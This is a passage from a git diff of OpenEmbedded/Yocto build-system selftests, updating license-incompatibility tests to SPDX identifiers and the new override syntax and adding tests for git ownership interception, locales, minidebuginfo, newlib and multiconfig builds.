- # Verify that a package with a non-SPDX license (neither in
- # AVAILABLE_LICENSES nor in SPDXLICENSEMAP) cannot be built when
+ # Verify that a package with multiple SPDX licenses cannot be built when
+ # INCOMPATIBLE_LICENSE contains some of them
+ def test_incompatible_spdx_licenses(self):
+ self.lic_test('incompatible-licenses', 'GPL-3.0-only LGPL-3.0-only', 'GPL-3.0-only LGPL-3.0-only')
+
+ # Verify that a package with a non-SPDX license cannot be built when
# INCOMPATIBLE_LICENSE contains this license
def test_incompatible_nonspdx_license(self):
self.lic_test('incompatible-nonspdx-license', 'FooLicense', 'FooLicense')
@@ -85,51 +100,53 @@ class IncompatibleLicenseTests(OESelftestTestCase):
class IncompatibleLicensePerImageTests(OESelftestTestCase):
def default_config(self):
return """
-IMAGE_INSTALL_append = "bash"
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+IMAGE_INSTALL:append = " bash"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0* LGPL-3.0*"
"""
def test_bash_default(self):
self.write_config(self.default_config())
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0+"
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_and_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " & SomeLicense"')
- error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0+"
+ self.disable_class("create-spdx")
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " & SomeLicense"')
+ error_msg = "ERROR: core-image-minimal-1.0-r0 do_rootfs: Package bash cannot be installed into the image because it has incompatible license(s): GPL-3.0-or-later"
result = bitbake('core-image-minimal', ignore_status=True)
if error_msg not in result.output:
raise AssertionError(result.output)
def test_bash_or_license(self):
- self.write_config(self.default_config() + '\nLICENSE_append_pn-bash = " | SomeLicense"')
+ self.disable_class("create-spdx")
+ self.write_config(self.default_config() + '\nLICENSE:append:pn-bash = " | SomeLicense"')
bitbake('core-image-minimal')
- def test_bash_whitelist(self):
- self.write_config(self.default_config() + '\nWHITELIST_GPL-3.0_pn-core-image-minimal = "bash"')
+ def test_bash_license_exceptions(self):
+ self.write_config(self.default_config() + '\nINCOMPATIBLE_LICENSE_EXCEPTIONS:pn-core-image-minimal = "bash:GPL-3.0-or-later"')
bitbake('core-image-minimal')
class NoGPL3InImagesTests(OESelftestTestCase):
def test_core_image_minimal(self):
self.write_config("""
-INCOMPATIBLE_LICENSE_pn-core-image-minimal = "GPL-3.0 LGPL-3.0"
+INCOMPATIBLE_LICENSE:pn-core-image-minimal = "GPL-3.0* LGPL-3.0*"
""")
bitbake('core-image-minimal')
- def test_core_image_full_cmdline(self):
+ def test_core_image_full_cmdline_weston(self):
self.write_config("""
-INHERIT += "testimage"\n
-INCOMPATIBLE_LICENSE_pn-core-image-full-cmdline = "GPL-3.0 LGPL-3.0"\n
-RDEPENDS_packagegroup-core-full-cmdline-utils_remove = "bash bc coreutils cpio ed findutils gawk grep mc mc-fish mc-helpers mc-helpers-perl sed tar time"\n
-RDEPENDS_packagegroup-core-full-cmdline-dev-utils_remove = "diffutils m4 make patch"\n
-RDEPENDS_packagegroup-core-full-cmdline-multiuser_remove = "gzip"\n
+IMAGE_CLASSES += "testimage"
+INCOMPATIBLE_LICENSE:pn-core-image-full-cmdline = "GPL-3.0* LGPL-3.0*"
+INCOMPATIBLE_LICENSE:pn-core-image-weston = "GPL-3.0* LGPL-3.0*"
+
+require conf/distro/include/no-gplv3.inc
""")
- bitbake('core-image-full-cmdline')
- bitbake('-c testimage core-image-full-cmdline')
+ bitbake('core-image-full-cmdline core-image-weston')
+ bitbake('-c testimage core-image-full-cmdline core-image-weston')
diff --git a/meta/lib/oeqa/selftest/cases/intercept.py b/meta/lib/oeqa/selftest/cases/intercept.py
new file mode 100644
index 0000000000..12583c3099
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/intercept.py
@@ -0,0 +1,21 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class GitCheck(OESelftestTestCase):
+ def test_git_intercept(self):
+ """
+ Git binaries with CVE-2022-24765 fixed will refuse to operate on a
+ repository which is owned by a different user. This breaks our
+ do_install task as that runs inside pseudo, so the git repository is
+ owned by the build user but git is running as (fake)root.
+
+ We have an intercept which disables pseudo, so verify that it works.
+ """
+ bitbake("git-submodule-test -c test_git_as_user")
+ bitbake("git-submodule-test -c test_git_as_root")
diff --git a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
index a61876ee61..b1f78a0cd1 100644
--- a/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
+++ b/meta/lib/oeqa/selftest/cases/kerneldevelopment.py
@@ -1,3 +1,9 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
import os
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import runCmd, get_bb_var
@@ -58,7 +64,8 @@ class KernelDev(OESelftestTestCase):
recipe_append = os.path.join(self.recipeskernel_dir, 'linux-yocto_%.bbappend')
with open(recipe_append, 'w+') as fh:
fh.write('SRC_URI += "file://%s"\n' % patch_name)
- fh.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"')
+ fh.write('ERROR_QA:remove:pn-linux-yocto = "patch-status"\n')
+ fh.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"')
runCmd('bitbake virtual/kernel -c clean')
runCmd('bitbake virtual/kernel -c patch')
diff --git a/meta/lib/oeqa/selftest/cases/layerappend.py b/meta/lib/oeqa/selftest/cases/layerappend.py
index 05e9426fc6..379ed589ad 100644
--- a/meta/lib/oeqa/selftest/cases/layerappend.py
+++ b/meta/lib/oeqa/selftest/cases/layerappend.py
@@ -1,11 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import runCmd, bitbake, get_bb_var
+from oeqa.utils.commands import bitbake, get_bb_var
import oeqa.utils.ftools as ftools
class LayerAppendTests(OESelftestTestCase):
@@ -30,20 +32,20 @@ python do_build() {
addtask build
"""
append = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
-sysroot_stage_all_append() {
+sysroot_stage_all:append() {
install -m 644 ${WORKDIR}/appendtest.txt ${SYSROOT_DESTDIR}/
}
"""
append2 = """
-FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"
+FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"
-SRC_URI_append = " file://appendtest.txt"
+SRC_URI:append = " file://appendtest.txt"
"""
layerappend = ''
diff --git a/meta/lib/oeqa/selftest/cases/liboe.py b/meta/lib/oeqa/selftest/cases/liboe.py
index afe8f8809f..d5ffffdcb4 100644
--- a/meta/lib/oeqa/selftest/cases/liboe.py
+++ b/meta/lib/oeqa/selftest/cases/liboe.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -97,6 +99,6 @@ class LibOE(OESelftestTestCase):
dstcnt = len(os.listdir(dst))
srccnt = len(os.listdir(src))
- self.assertEquals(dstcnt, len(testfiles), "Number of files in dst (%s) differs from number of files in src(%s)." % (dstcnt, srccnt))
+ self.assertEqual(dstcnt, len(testfiles), "Number of files in dst (%s) differs from number of files in src(%s)." % (dstcnt, srccnt))
oe.path.remove(testloc)
diff --git a/meta/lib/oeqa/selftest/cases/lic_checksum.py b/meta/lib/oeqa/selftest/cases/lic_checksum.py
index bae935d697..2d0b805b90 100644
--- a/meta/lib/oeqa/selftest/cases/lic_checksum.py
+++ b/meta/lib/oeqa/selftest/cases/lic_checksum.py
@@ -1,16 +1,36 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
import tempfile
+import urllib
from oeqa.selftest.case import OESelftestTestCase
from oeqa.utils.commands import bitbake
-from oeqa.utils import CommandError
class LicenseTests(OESelftestTestCase):
+ def test_checksum_with_space(self):
+ bitbake_cmd = '-c populate_lic emptytest'
+
+ lic_file, lic_path = tempfile.mkstemp(" -afterspace")
+ os.close(lic_file)
+ #self.track_for_cleanup(lic_path)
+
+ self.write_config("INHERIT:remove = \"report-error\"")
+
+ self.write_recipeinc('emptytest', """
+INHIBIT_DEFAULT_DEPS = "1"
+LIC_FILES_CHKSUM = "file://%s;md5=d41d8cd98f00b204e9800998ecf8427e"
+SRC_URI = "file://%s;md5=d41d8cd98f00b204e9800998ecf8427e"
+""" % (urllib.parse.quote(lic_path), urllib.parse.quote(lic_path)))
+ result = bitbake(bitbake_cmd)
+ self.delete_recipeinc('emptytest')
+
+
# Verify that changing a license file that has an absolute path causes
# the license qa to fail due to a mismatched md5sum.
def test_nonmatching_checksum(self):
@@ -21,7 +41,7 @@ class LicenseTests(OESelftestTestCase):
os.close(lic_file)
self.track_for_cleanup(lic_path)
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
self.write_recipeinc('emptytest', """
INHIBIT_DEFAULT_DEPS = "1"
@@ -34,5 +54,6 @@ SRC_URI = "file://%s;md5=d41d8cd98f00b204e9800998ecf8427e"
f.write("data")
result = bitbake(bitbake_cmd, ignore_status=True)
+ self.delete_recipeinc('emptytest')
if error_msg not in result.output:
raise AssertionError(result.output)
diff --git a/meta/lib/oeqa/selftest/cases/locales.py b/meta/lib/oeqa/selftest/cases/locales.py
new file mode 100644
index 0000000000..4ca8ffb7aa
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/locales.py
@@ -0,0 +1,54 @@
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.core.decorator import OETestTag
+from oeqa.utils.commands import bitbake, runqemu
+
+class LocalesTest(OESelftestTestCase):
+
+ @OETestTag("runqemu")
+
+ def run_locales_test(self, binary_enabled):
+ features = []
+ features.append('EXTRA_IMAGE_FEATURES = "empty-root-password allow-empty-password allow-root-login"')
+ features.append('IMAGE_INSTALL:append = " glibc-utils localedef"')
+ features.append('GLIBC_GENERATE_LOCALES = "en_US.UTF-8 fr_FR.UTF-8"')
+ features.append('IMAGE_LINGUAS:append = " en-us fr-fr"')
+ if binary_enabled:
+ features.append('ENABLE_BINARY_LOCALE_GENERATION = "1"')
+ else:
+ features.append('ENABLE_BINARY_LOCALE_GENERATION = "0"')
+ self.write_config("\n".join(features))
+
+ # Build a core-image-minimal
+ bitbake('core-image-minimal')
+
+ with runqemu("core-image-minimal", ssh=False, runqemuparams='nographic') as qemu:
+ cmd = "locale -a"
+ status, output = qemu.run_serial(cmd)
+ # output must includes fr_FR or fr_FR.UTF-8
+ self.assertEqual(status, 1, msg='locale test command failed: output: %s' % output)
+ self.assertIn("fr_FR", output, msg='locale -a test failed: output: %s' % output)
+
+ cmd = "localedef --list-archive -v"
+ status, output = qemu.run_serial(cmd)
+ # output must includes fr_FR.utf8
+ self.assertEqual(status, 1, msg='localedef test command failed: output: %s' % output)
+ self.assertIn("fr_FR.utf8", output, msg='localedef test failed: output: %s' % output)
+
+ def test_locales_on(self):
+ """
+ Summary: Test the locales are generated
+ Expected: 1. Check the locale exist in the locale-archive
+ 2. Check the locale exist for the glibc
+ 3. Check the locale can be generated
+ Product: oe-core
+ Author: Louis Rannou <lrannou@baylibre.com>
+ AutomatedBy: Louis Rannou <lrannou@baylibre.com>
+ """
+ self.run_locales_test(True)
+
+ def test_locales_off(self):
+ self.run_locales_test(False)
diff --git a/meta/lib/oeqa/selftest/cases/manifest.py b/meta/lib/oeqa/selftest/cases/manifest.py
index 5d13f35468..07a6c80489 100644
--- a/meta/lib/oeqa/selftest/cases/manifest.py
+++ b/meta/lib/oeqa/selftest/cases/manifest.py
@@ -1,11 +1,13 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
from oeqa.selftest.case import OESelftestTestCase
-from oeqa.utils.commands import get_bb_var, get_bb_vars, bitbake
+from oeqa.utils.commands import get_bb_var, bitbake
class ManifestEntry:
'''A manifest item of a collection able to list missing packages'''
diff --git a/meta/lib/oeqa/selftest/cases/meta_ide.py b/meta/lib/oeqa/selftest/cases/meta_ide.py
index 809142559a..ffe0d2604d 100644
--- a/meta/lib/oeqa/selftest/cases/meta_ide.py
+++ b/meta/lib/oeqa/selftest/cases/meta_ide.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -16,13 +18,15 @@ class MetaIDE(OESelftestTestCase):
def setUpClass(cls):
super(MetaIDE, cls).setUpClass()
bitbake('meta-ide-support')
- bb_vars = get_bb_vars(['MULTIMACH_TARGET_SYS', 'TMPDIR', 'COREBASE'])
+ bitbake('build-sysroots -c build_native_sysroot')
+ bitbake('build-sysroots -c build_target_sysroot')
+ bb_vars = get_bb_vars(['MULTIMACH_TARGET_SYS', 'DEPLOY_DIR_IMAGE', 'COREBASE'])
cls.environment_script = 'environment-setup-%s' % bb_vars['MULTIMACH_TARGET_SYS']
- cls.tmpdir = bb_vars['TMPDIR']
- cls.environment_script_path = '%s/%s' % (cls.tmpdir, cls.environment_script)
+ cls.deploydir = bb_vars['DEPLOY_DIR_IMAGE']
+ cls.environment_script_path = '%s/%s' % (cls.deploydir, cls.environment_script)
cls.corebasedir = bb_vars['COREBASE']
cls.tmpdir_metaideQA = tempfile.mkdtemp(prefix='metaide')
-
+
@classmethod
def tearDownClass(cls):
shutil.rmtree(cls.tmpdir_metaideQA, ignore_errors=True)
@@ -40,12 +44,17 @@ class MetaIDE(OESelftestTestCase):
def test_meta_ide_can_build_cpio_project(self):
dl_dir = self.td.get('DL_DIR', None)
self.project = SDKBuildProject(self.tmpdir_metaideQA + "/cpio/", self.environment_script_path,
- "https://ftp.gnu.org/gnu/cpio/cpio-2.13.tar.gz",
+ "https://ftp.gnu.org/gnu/cpio/cpio-2.15.tar.gz",
self.tmpdir_metaideQA, self.td['DATETIME'], dl_dir=dl_dir)
self.project.download_archive()
- self.assertEqual(self.project.run_configure(), 0,
+ self.assertEqual(self.project.run_configure('$CONFIGURE_FLAGS'), 0,
msg="Running configure failed")
self.assertEqual(self.project.run_make(), 0,
msg="Running make failed")
self.assertEqual(self.project.run_install(), 0,
msg="Running make install failed")
+
+ def test_meta_ide_can_run_sdk_tests(self):
+ bitbake('-c populate_sysroot gtk+3')
+ bitbake('build-sysroots -c build_target_sysroot')
+ bitbake('-c testsdk meta-ide-support')
diff --git a/meta/lib/oeqa/selftest/cases/minidebuginfo.py b/meta/lib/oeqa/selftest/cases/minidebuginfo.py
new file mode 100644
index 0000000000..2919f07939
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/minidebuginfo.py
@@ -0,0 +1,44 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+import os
+import subprocess
+import tempfile
+import shutil
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake, get_bb_var, get_bb_vars, runCmd
+
+
+class Minidebuginfo(OESelftestTestCase):
+ def test_minidebuginfo(self):
+ target_sys = get_bb_var("TARGET_SYS")
+ binutils = "binutils-cross-{}".format(get_bb_var("TARGET_ARCH"))
+
+ image = 'core-image-minimal'
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME', 'READELF'], image)
+
+ self.write_config("""
+DISTRO_FEATURES:append = " minidebuginfo"
+IMAGE_FSTYPES = "tar.bz2"
+""")
+ bitbake("{} {}:do_addto_recipe_sysroot".format(image, binutils))
+
+ native_sysroot = get_bb_var("RECIPE_SYSROOT_NATIVE", binutils)
+
+ # confirm that executables and shared libraries contain an ELF section
+ # ".gnu_debugdata" which stores minidebuginfo.
+ with tempfile.TemporaryDirectory(prefix = "unpackfs-") as unpackedfs:
+ filename = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], "{}.tar.bz2".format(bb_vars['IMAGE_LINK_NAME']))
+ shutil.unpack_archive(filename, unpackedfs)
+
+ r = runCmd([bb_vars['READELF'], "-W", "-S", os.path.join(unpackedfs, "bin", "busybox")],
+ native_sysroot = native_sysroot, target_sys = target_sys)
+ self.assertIn(".gnu_debugdata", r.output)
+
+ r = runCmd([bb_vars['READELF'], "-W", "-S", os.path.join(unpackedfs, "lib", "libc.so.6")],
+ native_sysroot = native_sysroot, target_sys = target_sys)
+ self.assertIn(".gnu_debugdata", r.output)
+
diff --git a/meta/lib/oeqa/selftest/cases/multiconfig.py b/meta/lib/oeqa/selftest/cases/multiconfig.py
index 39b92f2439..f509cbf607 100644
--- a/meta/lib/oeqa/selftest/cases/multiconfig.py
+++ b/meta/lib/oeqa/selftest/cases/multiconfig.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -17,7 +19,7 @@ class MultiConfig(OESelftestTestCase):
"""
config = """
-IMAGE_INSTALL_append_pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
+IMAGE_INSTALL:append:pn-core-image-full-cmdline = " multiconfig-image-packager-tiny multiconfig-image-packager-musl"
BBMULTICONFIG = "tiny musl"
"""
self.write_config(config)
@@ -52,7 +54,7 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.write_config(config)
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "1"
+ MCTESTVAR:append = "1"
''')
self.write_config(testconfig, 'test')
@@ -64,9 +66,22 @@ TMPDIR = "${TOPDIR}/tmp-mc-tiny"
self.assertIn('MCTESTVAR=test1', result.output.splitlines())
testconfig = textwrap.dedent('''\
- MCTESTVAR_append = "2"
+ MCTESTVAR:append = "2"
''')
self.write_config(testconfig, 'test')
result = bitbake('mc:test:multiconfig-test-parse -c showvar')
self.assertIn('MCTESTVAR=test2', result.output.splitlines())
+
+ def test_multiconfig_inlayer(self):
+ """
+ Test that a multiconfig from meta-selftest works.
+ """
+
+ config = """
+BBMULTICONFIG = "muslmc"
+"""
+ self.write_config(config)
+
+ # Build a core-image-minimal, only dry run needed to check config is present
+ bitbake('mc:muslmc:bash -n')
diff --git a/meta/lib/oeqa/selftest/cases/newlib.py b/meta/lib/oeqa/selftest/cases/newlib.py
new file mode 100644
index 0000000000..fe57aa51f2
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/newlib.py
@@ -0,0 +1,13 @@
+#
+# Copyright OpenEmbedded Contributors
+#
+# SPDX-License-Identifier: MIT
+#
+
+from oeqa.selftest.case import OESelftestTestCase
+from oeqa.utils.commands import bitbake
+
+class NewlibTest(OESelftestTestCase):
+ def test_newlib(self):
+ self.write_config('TCLIBC = "newlib"')
+ bitbake("newlib libgloss")
diff --git a/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py b/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
index 802a91a488..042ccdd2b4 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/buildhistory.py
@@ -1,8 +1,11 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
import os
+import sys
from oeqa.selftest.case import OESelftestTestCase
import tempfile
import operator
@@ -11,15 +14,14 @@ from oeqa.utils.commands import get_bb_var
class TestBlobParsing(OESelftestTestCase):
def setUp(self):
- import time
self.repo_path = tempfile.mkdtemp(prefix='selftest-buildhistory',
dir=get_bb_var('TOPDIR'))
try:
from git import Repo
self.repo = Repo.init(self.repo_path)
- except ImportError:
- self.skipTest('Python module GitPython is not present')
+ except ImportError as e:
+ self.skipTest('Python module GitPython is not present (%s) (%s)' % (e, sys.path))
self.test_file = "test"
self.var_map = {}
@@ -28,6 +30,16 @@ class TestBlobParsing(OESelftestTestCase):
import shutil
shutil.rmtree(self.repo_path)
+ @property
+ def heads_default(self):
+ """
+ Support repos defaulting to master or to main branch
+ """
+ try:
+ return self.repo.heads.main
+ except AttributeError:
+ return self.repo.heads.master
+
def commit_vars(self, to_add={}, to_remove = [], msg="A commit message"):
if len(to_add) == 0 and len(to_remove) == 0:
return
@@ -65,10 +77,10 @@ class TestBlobParsing(OESelftestTestCase):
changesmap = { "foo-2" : ("2", "8"), "bar" : ("","4"), "bar-2" : ("","5")}
self.commit_vars(to_add = { "foo" : "1", "foo-2" : "2", "foo-3" : "3" })
- blob1 = self.repo.heads.master.commit.tree.blobs[0]
+ blob1 = self.heads_default.commit.tree.blobs[0]
self.commit_vars(to_add = { "foo-2" : "8", "bar" : "4", "bar-2" : "5" })
- blob2 = self.repo.heads.master.commit.tree.blobs[0]
+ blob2 = self.heads_default.commit.tree.blobs[0]
change_records = compare_dict_blobs(os.path.join(self.repo_path, self.test_file),
blob1, blob2, False, False)
@@ -84,10 +96,10 @@ class TestBlobParsing(OESelftestTestCase):
defaultmap = { x : ("default", "1") for x in ["PKG", "PKGE", "PKGV", "PKGR"]}
self.commit_vars(to_add = { "foo" : "1" })
- blob1 = self.repo.heads.master.commit.tree.blobs[0]
+ blob1 = self.heads_default.commit.tree.blobs[0]
self.commit_vars(to_add = { "PKG" : "1", "PKGE" : "1", "PKGV" : "1", "PKGR" : "1" })
- blob2 = self.repo.heads.master.commit.tree.blobs[0]
+ blob2 = self.heads_default.commit.tree.blobs[0]
change_records = compare_dict_blobs(os.path.join(self.repo_path, self.test_file),
blob1, blob2, False, False)
diff --git a/meta/lib/oeqa/selftest/cases/oelib/elf.py b/meta/lib/oeqa/selftest/cases/oelib/elf.py
index d0a28090f2..7bf550b6fd 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/elf.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/elf.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -21,6 +23,6 @@ class TestElf(TestCase):
self.assertEqual(oe.qa.elf_machine_to_string(0xB7), "AArch64")
self.assertEqual(oe.qa.elf_machine_to_string(0xF7), "BPF")
- self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unknown (0)")
+ self.assertEqual(oe.qa.elf_machine_to_string(0x00), "Unset")
self.assertEqual(oe.qa.elf_machine_to_string(0xDEADBEEF), "Unknown (3735928559)")
self.assertEqual(oe.qa.elf_machine_to_string("foobar"), "Unknown ('foobar')")
diff --git a/meta/lib/oeqa/selftest/cases/oelib/license.py b/meta/lib/oeqa/selftest/cases/oelib/license.py
index 6ebbee589f..5eea12e761 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/license.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/license.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -15,11 +17,11 @@ class SeenVisitor(oe.license.LicenseVisitor):
class TestSingleLicense(TestCase):
licenses = [
- "GPLv2",
- "LGPL-2.0",
- "Artistic",
+ "GPL-2.0-only",
+ "LGPL-2.0-only",
+ "Artistic-1.0",
"MIT",
- "GPLv3+",
+ "GPL-3.0-or-later",
"FOO_BAR",
]
invalid_licenses = ["GPL/BSD"]
@@ -67,9 +69,9 @@ class TestComplexCombinations(TestSimpleCombinations):
"FOO & (BAR | BAZ)&MOO": ["FOO", "BAR", "MOO"],
"(ALPHA|(BETA&THETA)|OMEGA)&DELTA": ["OMEGA", "DELTA"],
"((ALPHA|BETA)&FOO)|BAZ": ["BETA", "FOO"],
- "(GPL-2.0|Proprietary)&BSD-4-clause&MIT": ["GPL-2.0", "BSD-4-clause", "MIT"],
+ "(GPL-2.0-only|Proprietary)&BSD-4-clause&MIT": ["GPL-2.0-only", "BSD-4-clause", "MIT"],
}
- preferred = ["BAR", "OMEGA", "BETA", "GPL-2.0"]
+ preferred = ["BAR", "OMEGA", "BETA", "GPL-2.0-only"]
class TestIsIncluded(TestCase):
tests = {
@@ -87,12 +89,12 @@ class TestIsIncluded(TestCase):
[True, ["BAR", "FOOBAR"]],
("(FOO | BAR) & FOOBAR | BAZ & MOO & BARFOO", None, "FOO"):
[True, ["BAZ", "MOO", "BARFOO"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, None):
- [True, ["GPL-3.0", "GPL-2.0", "LGPL-2.1"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, "GPL-3.0"):
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, None):
+ [True, ["GPL-3.0-or-later", "GPL-2.0-only", "LGPL-2.1-only"]],
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, "GPL-3.0-or-later"):
[True, ["Proprietary"]],
- ("GPL-3.0 & GPL-2.0 & LGPL-2.1 | Proprietary", None, "GPL-3.0 Proprietary"):
- [False, ["GPL-3.0"]]
+ ("GPL-3.0-or-later & GPL-2.0-only & LGPL-2.1-only | Proprietary", None, "GPL-3.0-or-later Proprietary"):
+ [False, ["GPL-3.0-or-later"]]
}
def test_tests(self):
diff --git a/meta/lib/oeqa/selftest/cases/oelib/path.py b/meta/lib/oeqa/selftest/cases/oelib/path.py
index a1cfa08c09..b963e447e3 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/path.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/path.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/selftest/cases/oelib/types.py b/meta/lib/oeqa/selftest/cases/oelib/types.py
index 7eb49e6f95..58318b18b2 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/types.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/types.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
diff --git a/meta/lib/oeqa/selftest/cases/oelib/utils.py b/meta/lib/oeqa/selftest/cases/oelib/utils.py
index a7214beb4c..0cb46425a0 100644
--- a/meta/lib/oeqa/selftest/cases/oelib/utils.py
+++ b/meta/lib/oeqa/selftest/cases/oelib/utils.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -64,7 +66,7 @@ class TestMultiprocessLaunch(TestCase):
import bb
def testfunction(item, d):
- if item == "2" or item == "1":
+ if item == "2":
raise KeyError("Invalid number %s" % item)
return "Found %s" % item
@@ -99,5 +101,4 @@ class TestMultiprocessLaunch(TestCase):
# Assert the function prints exceptions
with captured_output() as (out, err):
self.assertRaises(bb.BBHandledException, multiprocess_launch, testfunction, ["1", "2", "3", "4", "5", "6"], d, extraargs=(d,))
- self.assertIn("KeyError: 'Invalid number 1'", out.getvalue())
self.assertIn("KeyError: 'Invalid number 2'", out.getvalue())
diff --git a/meta/lib/oeqa/selftest/cases/oescripts.py b/meta/lib/oeqa/selftest/cases/oescripts.py
index 726daff7c6..f69efccfee 100644
--- a/meta/lib/oeqa/selftest/cases/oescripts.py
+++ b/meta/lib/oeqa/selftest/cases/oescripts.py
@@ -1,4 +1,6 @@
#
+# Copyright OpenEmbedded Contributors
+#
# SPDX-License-Identifier: MIT
#
@@ -8,7 +10,7 @@ import importlib
import unittest
from oeqa.selftest.case import OESelftestTestCase
from oeqa.selftest.cases.buildhistory import BuildhistoryBase
-from oeqa.utils.commands import Command, runCmd, bitbake, get_bb_var, get_test_layer
+from oeqa.utils.commands import runCmd, bitbake, get_bb_var
from oeqa.utils import CommandError
class BuildhistoryDiffTests(BuildhistoryBase):
@@ -21,7 +23,7 @@ class BuildhistoryDiffTests(BuildhistoryBase):
pkgv = result.output.rstrip()
result = runCmd("buildhistory-diff -p %s" % get_bb_var('BUILDHISTORY_DIR'))
expected_endlines = [
- "xcursor-transparent-theme-dev: RDEPENDS: removed \"xcursor-transparent-theme (['= %s-r1'])\", added \"xcursor-transparent-theme (['= %s-r0'])\"" % (pkgv, pkgv),
+ "xcursor-transparent-theme-dev: RRECOMMENDS: removed \"xcursor-transparent-theme (['= %s-r1'])\", added \"xcursor-transparent-theme (['= %s-r0'])\"" % (pkgv, pkgv),
"xcursor-transparent-theme-staticdev: RDEPENDS: removed \"xcursor-transparent-theme-dev (['= %s-r1'])\", added \"xcursor-transparent-theme-dev (['= %s-r0'])\"" % (pkgv, pkgv)
]
for line in result.output.splitlines():
@@ -35,19 +37,15 @@ class BuildhistoryDiffTests(BuildhistoryBase):
self.fail('Missing expected line endings:\n %s' % '\n '.join(expected_endlines))
@unittest.skipUnless(importlib.util.find_spec("cairo"), "Python cairo module is not present")
-class OEScriptTests(OESelftestTestCase):
+class OEPybootchartguyTests(OESelftestTestCase):
@classmethod
def setUpClass(cls):
- super(OEScriptTests, cls).setUpClass()
- import cairo
+ super().setUpClass()
bitbake("core-image-minimal -c rootfs -f")
cls.tmpdir = get_bb_var('TMPDIR')
cls.buildstats = cls.tmpdir + "/buildstats/" + sorted(os.listdir(cls.tmpdir + "/buildstats"))[-1]
-
